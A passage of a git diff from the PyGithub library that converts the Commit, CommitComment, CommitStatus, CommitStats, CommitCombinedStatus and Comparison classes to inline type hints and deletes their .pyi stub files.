string - :rtype: :class:`github.CommitStatus.CommitStatus` """ assert isinstance(state, str), state - assert target_url is github.GithubObject.NotSet or isinstance( - target_url, str - ), target_url - assert description is github.GithubObject.NotSet or isinstance( - description, str - ), description - assert context is github.GithubObject.NotSet or isinstance( - context, str - ), context - post_parameters = { - "state": state, - } - if target_url is not github.GithubObject.NotSet: - post_parameters["target_url"] = target_url - if description is not github.GithubObject.NotSet: - post_parameters["description"] = description - if context is not github.GithubObject.NotSet: - post_parameters["context"] = context + assert is_optional(target_url, str), target_url + assert is_optional(description, str), description + assert is_optional(context, str), context + post_parameters = NotSet.remove_unset_items( + { + "state": state, + "target_url": target_url, + "description": description, + "context": context, + } + ) + headers, data = self._requester.requestJsonAndCheck( "POST", f"{self._parentUrl(self._parentUrl(self.url))}/statuses/{self.sha}", input=post_parameters, ) - return github.CommitStatus.CommitStatus( - self._requester, headers, data, completed=True - ) + return github.CommitStatus.CommitStatus(self._requester, headers, data, completed=True) - def get_comments(self): + def get_comments(self) -> PaginatedList[CommitComment]: """ :calls: `GET /repos/{owner}/{repo}/commits/{sha}/comments `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.CommitComment.CommitComment` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.CommitComment.CommitComment, self._requester, f"{self.url}/comments", None, ) - def get_statuses(self): + def get_statuses(self) -> PaginatedList[CommitStatus]: """ :calls: `GET /repos/{owner}/{repo}/statuses/{ref} `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.CommitStatus.CommitStatus` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.CommitStatus.CommitStatus, self._requester, f"{self._parentUrl(self._parentUrl(self.url))}/statuses/{self.sha}", None, ) - def get_combined_status(self): + def get_combined_status(self) -> CommitCombinedStatus: """ :calls: `GET /repos/{owner}/{repo}/commits/{ref}/status/ `_ - :rtype: :class:`github.CommitCombinedStatus.CommitCombinedStatus` """ headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/status") - return github.CommitCombinedStatus.CommitCombinedStatus( - self._requester, headers, data, completed=True - ) + return github.CommitCombinedStatus.CommitCombinedStatus(self._requester, headers, data, completed=True) - def get_pulls(self): + def get_pulls(self) -> PaginatedList[PullRequest]: """ :calls: `GET /repos/{owner}/{repo}/commits/{sha}/pulls `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.PullRequest.PullRequest` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.PullRequest.PullRequest, self._requester, f"{self.url}/pulls", @@ -260,30 +232,19 @@ def get_pulls(self): def get_check_runs( self, - check_name=github.GithubObject.NotSet, - status=github.GithubObject.NotSet, - filter=github.GithubObject.NotSet, - ): + check_name: Opt[str] = NotSet, + status: Opt[str] = NotSet, + filter: Opt[str] = NotSet, + ) -> PaginatedList[CheckRun]: """ :calls: `GET /repos/{owner}/{repo}/commits/{sha}/check-runs `_ - :param check_name: string - :param status: string - :param filter: string - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.CheckRun.CheckRun` """ - assert check_name is github.GithubObject.NotSet or isinstance( - check_name, str - ), check_name - assert status is github.GithubObject.NotSet or isinstance(status, str), status - assert filter is github.GithubObject.NotSet or isinstance(filter, str), filter - url_parameters = dict() - if check_name is not github.GithubObject.NotSet: - url_parameters["check_name"] = check_name - if status is not github.GithubObject.NotSet: - url_parameters["status"] = status - if filter is not github.GithubObject.NotSet: - url_parameters["filter"] = filter - return github.PaginatedList.PaginatedList( + assert is_optional(check_name, str), check_name + assert is_optional(status, str), status + assert is_optional(filter, str), filter + url_parameters = NotSet.remove_unset_items({"check_name": check_name, "status": status, "filter": filter}) + + return PaginatedList( github.CheckRun.CheckRun, self._requester, f"{self.url}/check-runs", @@ -292,26 +253,16 @@ def get_check_runs( list_item="check_runs", ) - def get_check_suites( - self, app_id=github.GithubObject.NotSet, check_name=github.GithubObject.NotSet - ): + def get_check_suites(self, app_id: Opt[int] = NotSet, check_name: Opt[str] = NotSet) -> PaginatedList[CheckSuite]: """ :class: `GET /repos/{owner}/{repo}/commits/{ref}/check-suites `_ - :param app_id: int - :param check_name: string - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.CheckSuite.CheckSuite` """ - assert app_id is github.GithubObject.NotSet or isinstance(app_id, int), app_id - assert check_name is github.GithubObject.NotSet or isinstance( - check_name, str - ), check_name - parameters = dict() - if app_id is not github.GithubObject.NotSet: - parameters["app_id"] = app_id - if check_name is not github.GithubObject.NotSet: - parameters["check_name"] = check_name + assert is_optional(app_id, int), app_id + assert is_optional(check_name, str), check_name + parameters = NotSet.remove_unset_items({"app_id": app_id, "check_name": check_name}) + request_headers = {"Accept": "application/vnd.github.v3+json"} - return github.PaginatedList.PaginatedList( + return PaginatedList( github.CheckSuite.CheckSuite, self._requester, f"{self.url}/check-suites", @@ -321,51 +272,27 @@ def get_check_suites( ) @property - def _identity(self): + def _identity(self) -> str: return self.sha - def _initAttributes(self): - self._author = github.GithubObject.NotSet - self._comments_url = github.GithubObject.NotSet - self._commit = github.GithubObject.NotSet - self._committer = github.GithubObject.NotSet - self._files = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._parents = github.GithubObject.NotSet - self._sha = github.GithubObject.NotSet - self._stats = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "author" in attributes: # pragma no branch - self._author = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["author"] - ) + self._author = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["author"]) if "comments_url" in attributes: # pragma no branch self._comments_url = self._makeStringAttribute(attributes["comments_url"]) if "commit" in attributes: # pragma no branch - self._commit = self._makeClassAttribute( - github.GitCommit.GitCommit, attributes["commit"] - ) + self._commit = self._makeClassAttribute(github.GitCommit.GitCommit, attributes["commit"]) if "committer" in attributes: # pragma no branch - self._committer = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["committer"] - ) + self._committer = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["committer"]) if "files" in attributes: # pragma no branch - self._files = self._makeListOfClassesAttribute( - github.File.File, attributes["files"] - ) + self._files = self._makeListOfClassesAttribute(github.File.File, attributes["files"]) if "html_url" in attributes: # pragma no branch self._html_url = self._makeStringAttribute(attributes["html_url"]) if "parents" in attributes: # pragma no branch - self._parents = self._makeListOfClassesAttribute( - Commit, attributes["parents"] - ) + self._parents = self._makeListOfClassesAttribute(Commit, attributes["parents"]) if "sha" in attributes: # pragma no branch self._sha = self._makeStringAttribute(attributes["sha"]) if "stats" in attributes: # pragma no branch - self._stats = self._makeClassAttribute( - github.CommitStats.CommitStats, attributes["stats"] - ) + self._stats = self._makeClassAttribute(github.CommitStats.CommitStats, attributes["stats"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) diff --git a/github/Commit.pyi b/github/Commit.pyi deleted file mode 100644 index f11382ef5a..0000000000 --- a/github/Commit.pyi +++ /dev/null @@ -1,70 +0,0 @@ -from typing import Any, Dict, List, Union - -from github.CheckRun import CheckRun -from github.CheckSuite import CheckSuite -from github.CommitCombinedStatus import CommitCombinedStatus -from github.CommitComment import CommitComment -from github.CommitStats import CommitStats -from github.CommitStatus import CommitStatus -from github.File import File -from github.GitCommit import GitCommit -from github.GithubObject import CompletableGithubObject, _NotSetType, NotSet -from github.NamedUser import NamedUser -from github.PaginatedList import PaginatedList -from github.PullRequest import PullRequest - -class Commit(CompletableGithubObject): - def __repr__(self) -> str: ... - @property - def _identity(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def author(self) -> NamedUser: ... - @property - def comments_url(self) -> str: ... - @property - def commit(self) -> GitCommit: ... - @property - def committer(self) -> NamedUser: ... - def create_comment( - self, - body: str, - line: Union[int, _NotSetType] = ..., - path: Union[_NotSetType, str] = ..., - position: Union[int, _NotSetType] = ..., - ) -> CommitComment: ... - def create_status( - self, - state: str, - target_url: Union[_NotSetType, str] = ..., - description: Union[_NotSetType, str] = ..., - context: Union[_NotSetType, str] = ..., - ) -> CommitStatus: ... - @property - def files(self) -> List[File]: ... - def get_check_suites( - self, - app_id: Union[_NotSetType, int]=NotSet, - check_name: Union[_NotSetType, str]=NotSet, - ) -> PaginatedList[CheckSuite]: ... - def get_combined_status(self) -> CommitCombinedStatus: ... - def get_comments(self) -> PaginatedList[CommitComment]: ... - def get_statuses(self) -> PaginatedList[CommitStatus]: ... - def get_pulls(self) -> PaginatedList[PullRequest]: ... - def get_check_runs( - self, - check_name: Union[_NotSetType, str] = ..., - status: Union[_NotSetType, str] = ..., - filter: Union[_NotSetType, str] = ..., - ) -> PaginatedList[CheckRun]: ... - @property - def html_url(self) -> str: ... - @property - def parents(self) -> List[Commit]: ... - @property - def sha(self) -> str: ... - @property - def stats(self) -> CommitStats: ... - @property - def url(self) -> str: ... diff --git a/github/CommitCombinedStatus.py b/github/CommitCombinedStatus.py index 6325961563..7c66736f96 100644 --- a/github/CommitCombinedStatus.py +++ b/github/CommitCombinedStatus.py @@ -1,10 +1,22 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 John Eskew # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -24,78 +36,61 @@ # # ################################################################################ +from __future__ import annotations + +from typing import Any + import github.CommitStatus -import github.GithubObject import github.Repository +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class CommitCombinedStatus(github.GithubObject.NonCompletableGithubObject): +class CommitCombinedStatus(NonCompletableGithubObject): """ This class represents CommitCombinedStatuses. The reference can be found here https://docs.github.com/en/rest/reference/repos#statuses """ - def __repr__(self): + def _initAttributes(self) -> None: + self._state: Attribute[str] = NotSet + self._sha: Attribute[str] = NotSet + self._total_count: Attribute[int] = NotSet + self._commit_url: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + self._repository: Attribute[github.Repository.Repository] = NotSet + self._statuses: Attribute[list[github.CommitStatus.CommitStatus]] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"sha": self._sha.value, "state": self._state.value}) @property - def state(self): - """ - :type: string - """ + def state(self) -> str: return self._state.value @property - def sha(self): - """ - :type: string - """ + def sha(self) -> str: return self._sha.value @property - def total_count(self): - """ - :type: integer - """ + def total_count(self) -> int: return self._total_count.value @property - def commit_url(self): - """ - :type: string - """ + def commit_url(self) -> str: return self._commit_url.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: return self._url.value @property - def repository(self): - """ - :type: :class:`github.Repository.Repository` - """ + def repository(self) -> github.Repository.Repository: return self._repository.value @property - def statuses(self): - """ - :type: list of :class:`CommitStatus` - """ + def statuses(self) -> list[github.CommitStatus.CommitStatus]: return self._statuses.value - def _initAttributes(self): - self._state = github.GithubObject.NotSet - self._sha = github.GithubObject.NotSet - self._total_count = github.GithubObject.NotSet - self._commit_url = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._repository = github.GithubObject.NotSet - self._statuses = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "state" in attributes: # pragma no branch self._state = self._makeStringAttribute(attributes["state"]) if "sha" in attributes: # pragma no branch @@ -107,10 +102,6 @@ def _useAttributes(self, attributes): if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "repository" in attributes: # pragma no branch - self._repository = self._makeClassAttribute( - github.Repository.Repository, attributes["repository"] - ) + self._repository = self._makeClassAttribute(github.Repository.Repository, attributes["repository"]) if "statuses" in attributes: # pragma no branch - self._statuses = self._makeListOfClassesAttribute( - github.CommitStatus.CommitStatus, attributes["statuses"] - ) + self._statuses = self._makeListOfClassesAttribute(github.CommitStatus.CommitStatus, attributes["statuses"]) diff --git a/github/CommitCombinedStatus.pyi b/github/CommitCombinedStatus.pyi deleted file mode 100644 index 65818c8eeb..0000000000 --- a/github/CommitCombinedStatus.pyi +++ /dev/null @@ -1,24 +0,0 @@ -from typing import Any, Dict, List - -from github.CommitStatus import CommitStatus -from github.GithubObject import NonCompletableGithubObject -from github.Repository import Repository - -class CommitCombinedStatus(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def commit_url(self) -> str: ... - @property - def repository(self) -> Repository: ... - @property - def sha(self) -> str: ... - @property - def state(self) -> str: ... - @property - def statuses(self) -> List[CommitStatus]: ... - @property - def total_count(self) -> int: ... - @property - def url(self) -> str: ... diff --git a/github/CommitComment.py b/github/CommitComment.py index f762ecf0cc..34fe1a1e7a 100644 --- a/github/CommitComment.py +++ b/github/CommitComment.py @@ -11,7 +11,15 @@ # Copyright 2018 Wan Liuyang # # Copyright 2018 per1234 # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # # Copyright 2020 Huan-Cheng Chang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -31,137 +39,122 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import TYPE_CHECKING, Any + import github.GithubObject import github.NamedUser +from github import Consts +from github.GithubObject import Attribute, CompletableGithubObject, NotSet +from github.PaginatedList import PaginatedList -from . import Consts +if TYPE_CHECKING: + from github.Reaction import Reaction -class CommitComment(github.GithubObject.CompletableGithubObject): +class CommitComment(CompletableGithubObject): """ This class represents CommitComments. The reference can be found here https://docs.github.com/en/rest/reference/repos#comments """ - def __repr__(self): + def _initAttributes(self) -> None: + self._body: Attribute[str] = NotSet + self._commit_id: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._html_url: Attribute[str] = NotSet + self._id: Attribute[int] = NotSet + self._line: Attribute[int] = NotSet + self._path: Attribute[str] = NotSet + self._position: Attribute[int] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + self._user: Attribute[github.NamedUser.NamedUser] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "user": self.user}) @property - def body(self): - """ - :type: string - """ + def body(self) -> str: self._completeIfNotSet(self._body) return self._body.value @property - def commit_id(self): - """ - :type: string - """ + def commit_id(self) -> str: self._completeIfNotSet(self._commit_id) return self._commit_id.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def line(self): - """ - :type: integer - """ + def line(self) -> int: self._completeIfNotSet(self._line) return self._line.value @property - def path(self): - """ - :type: string - """ + def path(self) -> str: self._completeIfNotSet(self._path) return self._path.value @property - def position(self): - """ - :type: integer - """ + def position(self) -> int: self._completeIfNotSet(self._position) return self._position.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def user(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def user(self) -> github.NamedUser.NamedUser: self._completeIfNotSet(self._user) return self._user.value - def delete(self): + def delete(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/comments/{id} `_ :rtype: None """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) - def edit(self, body): + def edit(self, body: str) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/comments/{id} `_ - :param body: string - :rtype: None """ assert isinstance(body, str), body post_parameters = { "body": body, } - headers, data = self._requester.requestJsonAndCheck( - "PATCH", self.url, input=post_parameters - ) + headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) - def get_reactions(self): + def get_reactions(self) -> PaginatedList[Reaction]: """ :calls: `GET /repos/{owner}/{repo}/comments/{id}/reactions `_ :return: :class: :class:`github.PaginatedList.PaginatedList` of :class:`github.Reaction.Reaction` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Reaction.Reaction, self._requester, f"{self.url}/reactions", @@ -169,12 +162,10 @@ def get_reactions(self): headers={"Accept": Consts.mediaTypeReactionsPreview}, ) - def create_reaction(self, reaction_type): + def create_reaction(self, reaction_type: str) -> Reaction: """ :calls: `POST /repos/{owner}/{repo}/comments/{id}/reactions `_ - :param reaction_type: string - :rtype: :class:`github.Reaction.Reaction` """ assert isinstance(reaction_type, str), reaction_type post_parameters = { @@ -188,7 +179,7 @@ def create_reaction(self, reaction_type): ) return github.Reaction.Reaction(self._requester, headers, data, completed=True) - def delete_reaction(self, reaction_id): + def delete_reaction(self, reaction_id: int) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/comments/{comment_id}/reactions/{reaction_id} `_ @@ -203,20 +194,7 @@ def delete_reaction(self, reaction_id): ) return status == 204 - def _initAttributes(self): - self._body = github.GithubObject.NotSet - self._commit_id = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._line = github.GithubObject.NotSet - self._path = github.GithubObject.NotSet - self._position = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._user = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "commit_id" in attributes: # pragma no branch @@ -238,6 +216,4 @@ def _useAttributes(self, attributes): if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "user" in attributes: # pragma no branch - self._user = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["user"] - ) + self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) diff --git a/github/CommitComment.pyi b/github/CommitComment.pyi deleted file mode 100644 index 3aeedcbc75..0000000000 --- a/github/CommitComment.pyi +++ /dev/null @@ -1,39 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, Optional - -from github.GithubObject import CompletableGithubObject -from github.NamedUser import NamedUser -from github.PaginatedList import PaginatedList -from github.Reaction import Reaction - -class CommitComment(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def body(self) -> str: ... - @property - def commit_id(self) -> str: ... - def create_reaction(self, reaction_type: str) -> Reaction: ... - @property - def created_at(self) -> datetime: ... - def delete(self) -> None: ... - def delete_reaction(self, reaction_id: int) -> bool: ... - def edit(self, body: str) -> None: ... - def get_reactions(self) -> PaginatedList[Reaction]: ... - @property - def html_url(self) -> str: ... - @property - def id(self) -> int: ... - @property - def line(self) -> Optional[int]: ... - @property - def path(self) -> Optional[str]: ... - @property - def position(self) -> Optional[int]: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... - @property - def user(self) -> NamedUser: ... diff --git a/github/CommitStats.py b/github/CommitStats.py index 2a511c8a74..263cea8ad1 100644 --- a/github/CommitStats.py +++ b/github/CommitStats.py @@ -8,6 +8,11 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -27,41 +32,34 @@ # # ################################################################################ -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class CommitStats(github.GithubObject.NonCompletableGithubObject): + +class CommitStats(NonCompletableGithubObject): """ - This class represents CommitStatses. + This class represents CommitStats. """ + def _initAttributes(self) -> None: + self._total: Attribute[int] = NotSet + self._deletions: Attribute[int] = NotSet + self._additions: Attribute[int] = NotSet + @property - def additions(self): - """ - :type: integer - """ + def additions(self) -> int: return self._additions.value @property - def deletions(self): - """ - :type: integer - """ + def deletions(self) -> int: return self._deletions.value @property - def total(self): - """ - :type: integer - """ + def total(self) -> int: return self._total.value - def _initAttributes(self): - self._additions = github.GithubObject.NotSet - self._deletions = github.GithubObject.NotSet - self._total = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "additions" in attributes: # pragma no branch self._additions = self._makeIntAttribute(attributes["additions"]) if "deletions" in attributes: # pragma no branch diff --git a/github/CommitStats.pyi b/github/CommitStats.pyi deleted file mode 100644 index c669593294..0000000000 --- a/github/CommitStats.pyi +++ /dev/null @@ -1,13 +0,0 @@ -from typing import Dict - -from github.GithubObject import NonCompletableGithubObject - -class CommitStats(NonCompletableGithubObject): - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, int]) -> None: ... - @property - def additions(self) -> int: ... - @property - def deletions(self) -> int: ... - @property - def total(self) -> int: ... diff --git a/github/CommitStatus.py b/github/CommitStatus.py index 40338d3484..654d488717 100644 --- a/github/CommitStatus.py +++ b/github/CommitStatus.py @@ -11,6 +11,13 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -30,16 +37,33 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import Any + import github.GithubObject import github.NamedUser +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class CommitStatus(github.GithubObject.NonCompletableGithubObject): +class CommitStatus(NonCompletableGithubObject): """ This class represents CommitStatuses.The reference can be found here https://docs.github.com/en/rest/reference/repos#statuses """ - def __repr__(self): + def _initAttributes(self) -> None: + self._created_at: Attribute[datetime] = NotSet + self._creator: Attribute[github.NamedUser.NamedUser] = NotSet + self._description: Attribute[str] = NotSet + self._id: Attribute[int] = NotSet + self._state: Attribute[str] = NotSet + self._context: Attribute[str] = NotSet + self._target_url: Attribute[str] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__( { "id": self._id.value, @@ -49,86 +73,46 @@ def __repr__(self): ) @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: return self._created_at.value @property - def creator(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def creator(self) -> github.NamedUser.NamedUser: return self._creator.value @property - def description(self): - """ - :type: string - """ + def description(self) -> str: return self._description.value @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: return self._id.value @property - def state(self): - """ - :type: string - """ + def state(self) -> str: return self._state.value @property - def context(self): - """ - :type: string - """ + def context(self) -> str: return self._context.value @property - def target_url(self): - """ - :type: string - """ + def target_url(self) -> str: return self._target_url.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: return self._url.value - def _initAttributes(self): - self._created_at = github.GithubObject.NotSet - self._creator = github.GithubObject.NotSet - self._description = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._state = github.GithubObject.NotSet - self._context = github.GithubObject.NotSet - self._target_url = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "creator" in attributes: # pragma no branch - self._creator = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["creator"] - ) + self._creator = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["creator"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "id" in attributes: # pragma no branch diff --git a/github/CommitStatus.pyi b/github/CommitStatus.pyi deleted file mode 100644 index 41f7c28846..0000000000 --- a/github/CommitStatus.pyi +++ /dev/null @@ -1,28 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, Optional - -from github.GithubObject import NonCompletableGithubObject -from github.NamedUser import NamedUser - -class CommitStatus(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def context(self) -> str: ... - @property - def created_at(self) -> datetime: ... - @property - def creator(self) -> NamedUser: ... - @property - def description(self) -> Optional[str]: ... - @property - def id(self) -> int: ... - @property - def state(self) -> str: ... - @property - def target_url(self) -> Optional[str]: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... diff --git a/github/Comparison.py b/github/Comparison.py index f058b7e389..b59477ac48 100644 --- a/github/Comparison.py +++ b/github/Comparison.py @@ -8,6 +8,13 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # +# Copyright 2024 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -27,160 +34,129 @@ # # ################################################################################ +from __future__ import annotations + +from typing import Any + import github.Commit import github.File -import github.GithubObject +from github.GithubObject import Attribute, CompletableGithubObject, NotSet +from github.PaginatedList import PaginatedList -class Comparison(github.GithubObject.CompletableGithubObject): +class Comparison(CompletableGithubObject): """ This class represents Comparisons """ + def _initAttributes(self) -> None: + self._ahead_by: Attribute[int] = NotSet + self._base_commit: Attribute[github.Commit.Commit] = NotSet + self._behind_by: Attribute[int] = NotSet + self._diff_url: Attribute[str] = NotSet + self._files: Attribute[list[github.File.File]] = NotSet + self._html_url: Attribute[str] = NotSet + self._merge_base_commit: Attribute[github.Commit.Commit] = NotSet + self._patch_url: Attribute[str] = NotSet + self._permalink_url: Attribute[str] = NotSet + self._status: Attribute[str] = NotSet + self._total_commits: Attribute[int] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"url": self._url.value}) + @property - def ahead_by(self): - """ - :type: integer - """ + def ahead_by(self) -> int: self._completeIfNotSet(self._ahead_by) return self._ahead_by.value @property - def base_commit(self): - """ - :type: :class:`github.Commit.Commit` - """ + def base_commit(self) -> github.Commit.Commit: self._completeIfNotSet(self._base_commit) return self._base_commit.value @property - def behind_by(self): - """ - :type: integer - """ + def behind_by(self) -> int: self._completeIfNotSet(self._behind_by) return self._behind_by.value + # This should be a method, but this used to be a property and cannot be changed without breaking user code + # TODO: remove @property on version 3 @property - def commits(self): - """ - :type: list of :class:`github.Commit.Commit` - """ - self._completeIfNotSet(self._commits) - return self._commits.value + def commits(self) -> PaginatedList[github.Commit.Commit]: + return PaginatedList( + github.Commit.Commit, + self._requester, + self.url, + {}, + None, + "commits", + "total_commits", + self.raw_data, + self.raw_headers, + ) @property - def diff_url(self): - """ - :type: string - """ + def diff_url(self) -> str: self._completeIfNotSet(self._diff_url) return self._diff_url.value @property - def files(self): - """ - :type: list of :class:`github.File.File` - """ + def files(self) -> list[github.File.File]: self._completeIfNotSet(self._files) return self._files.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property - def merge_base_commit(self): - """ - :type: :class:`github.Commit.Commit` - """ + def merge_base_commit(self) -> github.Commit.Commit: self._completeIfNotSet(self._merge_base_commit) return self._merge_base_commit.value @property - def patch_url(self): - """ - :type: string - """ + def patch_url(self) -> str: self._completeIfNotSet(self._patch_url) return self._patch_url.value @property - def permalink_url(self): - """ - :type: string - """ + def permalink_url(self) -> str: self._completeIfNotSet(self._permalink_url) return self._permalink_url.value @property - def status(self): - """ - :type: string - """ + def status(self) -> str: self._completeIfNotSet(self._status) return self._status.value @property - def total_commits(self): - """ - :type: integer - """ + def total_commits(self) -> int: self._completeIfNotSet(self._total_commits) return self._total_commits.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value - def _initAttributes(self): - self._ahead_by = github.GithubObject.NotSet - self._base_commit = github.GithubObject.NotSet - self._behind_by = github.GithubObject.NotSet - self._commits = github.GithubObject.NotSet - self._diff_url = github.GithubObject.NotSet - self._files = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._merge_base_commit = github.GithubObject.NotSet - self._patch_url = 